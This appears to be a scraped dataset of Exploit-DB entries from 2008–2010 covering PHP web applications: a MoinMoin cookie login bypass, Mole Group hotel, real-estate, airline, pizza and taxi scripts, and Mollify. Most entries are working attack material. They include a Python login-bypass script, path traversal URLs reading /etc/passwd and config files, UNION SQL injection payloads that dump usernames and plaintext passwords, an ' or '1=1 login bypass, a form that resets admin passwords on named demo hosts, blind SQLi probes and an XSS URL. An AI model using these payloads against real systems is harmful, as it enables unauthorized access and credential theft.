deardaniel/secdata-raw huggingface dataset:
Exploit-DB #4957
Description: MoinMoin 1.5.x - 'MOIND_ID' Cookie Login Bypass
Type: webapps
Platform: php
Date: 2008-01-21
Author: nonroot

Exploit:
#!/usr/bin/python
#
#Exploit for the MOIND_ID cookie Bug
# MoinMoin 1.5.x
#
#Find your patch in : http://hg.moinmo.in/moin/1.5/rev/e69a16b6e630
#
#Bug and exploit coded by just a nonroot and colombian user
#
#Enero 21 de 2008
#
#Greets: el directorio and all the SL community
#
# 
import urllib2,sys
print "MoinMoin host: i.e: http://127.0.0.1:8000/"
host=raw_input("MoinMoin host ( include http and /): ")
#info for the new user
#
#user for the test
user='nonroot'
#password for the test
[CREDENTIAL_REDACTED]'
#email for the test
email='just@nonrootuser.co'
#file to overwrite
#by default this file is there, is there?
archivo='README'
#######
#
req = urllib2.Request(host) 
adddata="action=userform&name="+user+"&aliasname=ilikecolombianpeople&password="+password+"&password2="+password+"&email="+email+"&css_url=&edit_rows=20&theme_name=modern&editor_default=text&editor_ui=freechoice&tz_offset=0&datetime_fmt=&language=&remember_me=1&show_fancy_diff=1&show_toolbar=1&show_page_trail=1&quicklinks=podriamos-insertar-codigo-php-aqui-verdad-que-si&save=Save"
headers={'Cookie':'MOIN_ID='+archivo}
req = urllib2.Request(host+"UserPreferences/",adddata,headers) 
try:
	r = urllib2.urlopen(req)
	data=r.read()
except	urllib2.HTTPError:
	print "Wait a minute, is posible that the file: "+archivo+" doesn't have permission to write, think well, and try again"
	sys.exit(2)
print "Ok, the file: "+archivo+" was created, and you can logging setting the cookie MOIN_ID='"+archivo+"'"+" in your browser."
sys.exit(0)

# milw0rm.com [2008-01-21]
Exploit-DB #5394
Description: Mole 2.1.0 - 'viewsource.php' Remote File Disclosure
Type: webapps
Platform: php
Date: 2008-04-07
Author: GoLd_M

Exploit:
#  Mole v2.1.0 (viewsource.php) Remote File Disclosure Vulnerability
#  Script : http://sourceforge.net/project/showfiles.php?group_id=164171
#  Vuln Code :
##############################################################################
#    <html>
#    <head>
#    <title>Mole: Template viewer</title>
#    <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
#    </head>
#    <body>
#    
#    <?php
#    $dirn = $_REQUEST['dirn']; <--- XxX
#    $fname = $_REQUEST['fname']; <--- XxX
#    
#    
#    highlight_file($dirn.$fname); <--- XxX
#    ?>
#    
#    </body>
#    </html>
##############################################################################
#  POC :
#      /mole_2_1_0/viewsource.php?dirn=include/config.inc.php
#      /mole_2_1_0/viewsource.php?fname=include/config.inc.php
#      /mole_2_1_0/viewsource.php?dirn=../../../../../../../&fname=etc/passwd
##############################################################################
#  Greetz : Tryag-Team -JIKI Team -Stack-Terrorist [v40] -H-T Team -RoMaNcYxHaCkEr 
##############################################################################

# milw0rm.com [2008-04-07]
Exploit-DB #8788
Description: Mole Adult Portal Script - 'profile.php?user_id' SQL Injection
Type: webapps
Platform: php
Date: 2009-05-26
Author: Qabandi

Exploit:
                  ||          ||   | ||
           o_,_7 _||  . _o_7 _|| q_|_||  o_w_,
          ( :   /    (_)    /           (   .


=By: 	Qabandi
=Email:	iqa[a]hotmail.fr

	From Kuwait PEACE

=Vuln:		Mole Adult Portal Script - SQL Injection Vulnerability
=INFO:		http://www.mole-group.com/scripts/scripts/adult-portal-escort-listing-script.html
=BUY:  		http://www.mole-group.com/scripts/scripts/payment.html
=DORK:		--

                                    -\18+/-
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@-SQL-Injection-PoC-@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Magic Quot. needs to be OFF

LIVE DEMO:
http://adult.mole-group.com/profile.php?user_id=-3%27%20UNION%20SELECT%201,unhex(hex(version())),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86/*

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-=-=-=-==-==-=-Te-=-Amo=-=-Vio-=-==-=-==-=-=-=-==-=-==-=-=-=-=-=-=
=-=-=-=-==-=-=-=-=-=-No--More---Private=-=-=-=-=-=-=-=-=-=-=-=-=-=
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Salamz: Killer Hack, Mr.Mn7os, All muslim hackers.

# milw0rm.com [2009-05-26]
Exploit-DB #7009
Description: Mole Group Airline Ticket Script - SQL Injection
Type: webapps
Platform: php
Date: 2008-11-05
Author: InjEctOr5

Exploit:
                          ||          ||   | ||        
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_, 
                  ( :   /    (_)    /           (   .  
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|


<<!>> Found by  :  Cyb3r-1sT

<<!>> C0ntact : cyb3r-1st [at] hotmail.com 
                   
<<!>> Groups : InjEctOr5 T3am 

<<!>> site : www.tryag.cc/cc

=======================================================
+++++++++++++++++++ Script information+++++++++++++++++
=======================================================


<<->> script      : mole-group Airline Ticket Script

<<->> script demo : www.mole-group.com/content/view/57/72             



=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================


<<->> D0rk    : find it

<<->> Exploit :>>>

          >>>> http://airline.mole-group.com/info.php?flight=[sql]
 
       ex >>>> http://airline.mole-group.com/info.php?flight=-60'+union+select+convert(user()+using+latin1),0,0,0,0,0,0,0,0,0,0,0,0/*
          

=======================================================
++++++++++++++++++++++ Greetz +++++++++++++++++++++++++
=======================================================


<<->> All freinds and all muslims

# milw0rm.com [2008-11-05]
Exploit-DB #6021
Description: Mole Group Hotel Script 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2008-07-08
Author: t0pP8uZz

Exploit:
-[*]+================================================================================+[*]-
-[*]+	     Mole Group Hotel Script 1.0 Remote SQL Injection Vulnerability          +[*]-
-[*]+================================================================================+[*]-



[*] Discovered By: t0pP8uZz
[*] Discovered On: 8 JULY 2008
[*] Script Download: http://www.mole-group.com/content/view/44/59/
[*] DORK: N/A



[*] Vendor Has Not Been Notified!



[*] DESCRIPTION: 

	Mole Group Hotel Script suffers from a insecure mysql query in the "file" variable.
	This can lead to malicous users arbitrary selecting confidential information from the database.

	See below for the SQL injection.



[*] SQL Injection:

	http://site.com/index.php?file=1/**/UNION/**/ALL/**/SELECT/**/1,CONVERT(name/**/using/**/latin1),3,4/**/FROM/**/settings/*



[*] NOTE/TIP: 

	admin login is at /admin/



[*] GREETZ: 

	milw0rm.com, h4ck-y0u.org, Offensive-Security.com, CipherCrew !



[-] Peace...

	...t0pP8uZz !



-[*]+================================================================================+[*]-
-[*]+	     Mole Group Hotel Script 1.0 Remote SQL Injection Vulnerability          +[*]-
-[*]+================================================================================+[*]-

# milw0rm.com [2008-07-08]
Exploit-DB #6027
Description: Mole Group Last Minute Script 4.0 - SQL Injection
Type: webapps
Platform: php
Date: 2008-07-08
Author: t0pP8uZz

Exploit:
-[*]+================================================================================+[*]-
-[*]+	        Last Minute Script <= 4.0 Remote SQL Injection Vulnerability	     +[*]-
-[*]+================================================================================+[*]-



[*] Discovered By: t0pP8uZz
[*] Discovered On: 8 JULY 2008
[*] Script Download: http://www.mole-group.com/content/view/31/45/
[*] DORK: N/A



[*] Vendor Has Not Been Notified!



[*] DESCRIPTION: 

	Last Minute Script 4.0 (and all prior versions) suffer from a multirow SQL injection flaw,
	This allows the remote attacker to execute arbitrary MySQL querys, and possibly gaining access 
	to confidential information.

	below is a example.

	

[*] SQL Injection:

	http://site.com/index.php?cid=-1/**/UNION/**/ALL/**/SELECT/**/CONVERT(CONCAT(name,0x3a,password,0x3C62723E)/**/using/**/latin1),2,3,4/**/FROM/**/users/*



[*] NOTE/TIP: 

	passwords are in plaintext.

	There are also other SQL injections around the site which i have found, So no one even bother to post has seperate vulns.



[*] GREETZ: 

	milw0rm.com, h4ck-y0u.org, Offensive-Security.com, CipherCrew !



[-] Peace...

	...t0pP8uZz !



-[*]+================================================================================+[*]-
-[*]+	        Last Minute Script <= 4.0 Remote SQL Injection Vulnerability	     +[*]-
-[*]+================================================================================+[*]-

# milw0rm.com [2008-07-08]
Exploit-DB #7030
Description: Mole Group Pizza - 'manufacturers_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-11-07
Author: InjEctOr5

Exploit:
                          ||          ||   | ||        
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_, 
                  ( :   /    (_)    /           (   .  
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|


<<!>> Found by  :  Cyb3r-1sT

<<!>> C0ntact : cyb3r-1st [at] hotmail.com 
                   
<<!>> Groups : InjEctOr5 T3am 

<<!>> site : www.tryag.cc/cc

=======================================================
+++++++++++++++++++ Script information+++++++++++++++++
=======================================================


<<->> script      : Mole Group Pizza Script

<<->> script demo : www.mole-group.com/content/view/38/51/               



=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================


<<->> D0rk    : find it

<<->> Exploit :>>>

          >>>> www.site.me/index.php?manufacturers_id=-1+union+select+user()--&osCsid=0d4d9ec8a0cf2aba5f633bb4691aea2c
	       http://xxxxxxx/index.php?manufacturers_id=-1+union+select+convert(user()+using+latin1)/*
          

=======================================================
++++++++++++++++++++++ Greetz +++++++++++++++++++++++++
=======================================================


<<->> All freinds and all muslims


# milw0rm.com [2008-11-07]
Exploit-DB #6022
Description: Mole Group Real Estate Script 1.1 - SQL Injection
Type: webapps
Platform: php
Date: 2008-07-08
Author: t0pP8uZz

Exploit:
-[*]+================================================================================+[*]-
-[*]+	       Real Estate Script <= 1.1 Remote SQL Injection Vulnerability	     +[*]-
-[*]+================================================================================+[*]-



[*] Discovered By: t0pP8uZz
[*] Discovered On: 8 JULY 2008
[*] Script Download: http://www.mole-group.com/content/view/41/55/
[*] DORK: N/A



[*] Vendor Has Not Been Notified!



[*] DESCRIPTION: 

	Real Estate Script from mole-group.com contains a insecure mysql query flaw, which 
	allows a remote attacker to execute arbitrary mysql querys and gaining access to confidential information.
	like username, passwords, email address's etc.

	see below for a example.



[*] SQL Injection:


	http://site.com/index.php?go=listings&listing_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,CONVERT(CONCAT(0x3C666F6E7420636F6C6F723D7265643E,username,0x3a,password,0x3C2F666F6E743E)/**/using/**/latin1),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31/**/FROM/**/users/**/LIMIT/**/0,1/*



[*] NOTE/TIP: 

	admin login is at /admin/
	passwords are in plaintext



[*] GREETZ: 

	milw0rm.com, h4ck-y0u.org, Offensive-Security.com, CipherCrew !



[-] Peace...

	...t0pP8uZz !



-[*]+================================================================================+[*]-
-[*]+	       Real Estate Script <= 1.1 Remote SQL Injection Vulnerability	     +[*]-
-[*]+================================================================================+[*]-

# milw0rm.com [2008-07-08]
Exploit-DB #8775
Description: Mole Group Restaurant Directory Script 3.0 - Change Admin Password
Type: webapps
Platform: php
Date: 2009-05-22
Author: G4N0K

Exploit:
==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================
                      ____   _  _     _   _    ___    _  __
                     / ___| | || |   | \ | |  / _ \  | |/ /
                    | |  _  | || |_  |  \| | | | | | | ' / 
                    | |_| | |__   _| | |\  | | |_| | | . \ 
                     \____|    |_|   |_| \_|  \___/  |_|\_\...FROM IRAN

==============================================================================
	Mole Group Restaurant Directory Script 3.0 Change Admin Pass Vuln
==============================================================================

	[Â»] Script:.............[ Mole Group Restaurant Directory Script 3.0 ]
	[Â»] Website:............[ http://www.mole-group.com ].................
	[Â»] Today:..............[ 2205009 ]...................................
	[Â»] Founder:............[ G4N0K | mail[.]ganok[sh!t]gmail.com ].......


	
	 [+] NFO
	===============================
       Fireup your web-browser, Navigate to "http://127.0.0.1/admin/admin_info/index.php" and then
	   fill the form and submit it.

	 [+] Demo
	===============================
       http://restaurant.mole-group.com/admin/admin_info/index.php


	 [+] Greetz
	===================================
       [Â»] ALLAH
       [Â»] MSD, AMD, AFN, SMN, Str0ke...
       [Â»] Hussain-X, JiKo, Sakab(!)...

# milw0rm.com [2009-05-22]
Exploit-DB #8774
Description: Mole Group Sky Hunter/Bus Ticket Scripts - Change Admin Password
Type: webapps
Platform: php
Date: 2009-05-22
Author: G4N0K

Exploit:
<html>
<head>
<!-- 
==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================
                      ____   _  _     _   _    ___    _  __
                     / ___| | || |   | \ | |  / _ \  | |/ /
                    | |  _  | || |_  |  \| | | | | | | ' / 
                    | |_| | |__   _| | |\  | | |_| | | . \ 
                     \____|    |_|   |_| \_|  \___/  |_|\_\...FROM IRAN

==============================================================================
	Mole Group Sky Hunter/Bus Ticket Scripts Change Admin Pass Exploit
==============================================================================

	[Â»] Script:.............[ Mole Group Sky Hunter/Bus Ticket Scripts ]..
	[Â»] Website:............[ http://www.mole-group.com ].................
	[Â»] Today:..............[ 2205009 ]...................................
	[Â»] Founder:............[ G4N0K | mail[.]ganok[sh!t]gmail.com ].......


	
	 [+] Vulnerable Scripts
	===============================
       [0] Sky Hunter Script (demo: http://sky.mole-group.com/admin/admin.php)
       [1] Bus Ticket Script (demo: http://bus.mole-group.com/admin/admin.php)



	 [+] Greetz
	===================================
       [Â»] ALLAH
       [Â»] MSD, AMD, AFN, SMN, Str0ke...
       [Â»] Hussain-X, JiKo, Sakab(!)...

-->
<title>Mole Group Sky Hunter/Bus Ticket Scripts Change Admin Pass Exploit | G4N0K</title>

</head>
<body>

 <h3>::Change Password</h3>

	<table>
		<tr>
			<form method="post" action="http://sky.mole-group.com/admin/admin.php">
			<input type="hidden" name="user_id" value="1">
			<td align=right>Username:</td>
			<td align=left><input name="user_name" size="40" maxlength="40" value="admin"><td>
		</tr>
		<tr>
			<td align=right>New Password:</td><td align=left><input name="password" size="40" maxlength="40" ><td>
		</tr>
		<tr>
			<td></td><td><input type="submit" name="submit" value="Change Password"></td>
			</form>
		</tr>
	</table>
</body>
</html>

# milw0rm.com [2009-05-22]
Exploit-DB #7010
Description: Mole Group Taxi Calc Dist Script - Authentication Bypass
Type: webapps
Platform: php
Date: 2008-11-05
Author: InjEctOr5

Exploit:
                          ||          ||   | ||        
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_, 
                  ( :   /    (_)    /           (   .  
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|


<<!>> Found by  :  Cyb3r-1sT

<<!>> C0ntact : cyb3r-1st [at] hotmail.com 
                   
<<!>> Groups : InjEctOr5 T3am 

<<!>> site : www.tryag.cc/cc

=======================================================
+++++++++++++++++++ Script information+++++++++++++++++
=======================================================


<<->> script      : mole-group Taxi Calc Dist Script

<<->> script demo : www.mole-group.com/content/view/59/74            



=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================


<<->> D0rk    : find it

<<->> Exploit :>>> 

          >>>> http://taxicalc.mole-group.com/login.php

 >>>> Bypass
 
        >>>> http://taxicalc.mole-group.com/login.php
        
        >>> user : cyb3r-1st ' or ' 1=1--
        
        >>> pass : cyb3r-1st
          

=======================================================
++++++++++++++++++++++ Greetz +++++++++++++++++++++++++
=======================================================


<<->> All freinds and all muslims

# milw0rm.com [2008-11-05]
Exploit-DB #7626
Description: Mole Group Vacation Estate Listing Script - Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-12-30
Author: x0r

Exploit:
######################################
  Vacation Estate Listing Blind Sql
######################################
Autore: x0r 
Email: andry2000@hotmail.it
Site: http://w00tz0ne.altervista.org/index.php
Cms Demo: http://vacation.mole-group.com/
######################################

Bug in \properties_view.php

Exploit: properties_view.php?editid1=2 and substring(@@version,1,1)=4 
         properties_view.php?editid1=2 and substring(@@version,1,1)=5
		 
# Sono solo esempi ovviamente ^ ^

Live Demo:
http://vacation.mole-group.com/properties_view.php?editid1=2%20and%20substring(@@version,1,1)=4
/ No Error /
          
http://vacation.mole-group.com/properties_view.php?editid1=2%20and%20substring(@@version,1,1)=5
/ Errors in the bottom of the page/
		   
Greets: Children Of Ghaza....And My Sweety Girl <3

# milw0rm.com [2008-12-30]
Exploit-DB #34640
Description: Mollify 1.6 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-09-15
Author: John Leitch

Exploit:
source: https://www.securityfocus.com/bid/43262/info

Mollify is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary JavaScript code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Mollify 1.6 is vulnerable; other versions may also be affected. 

http://www.example.com/mollify/backend/plugin/Registration/index.php?confirm=%3Cscript%3Ealert(0)%3C/script%3E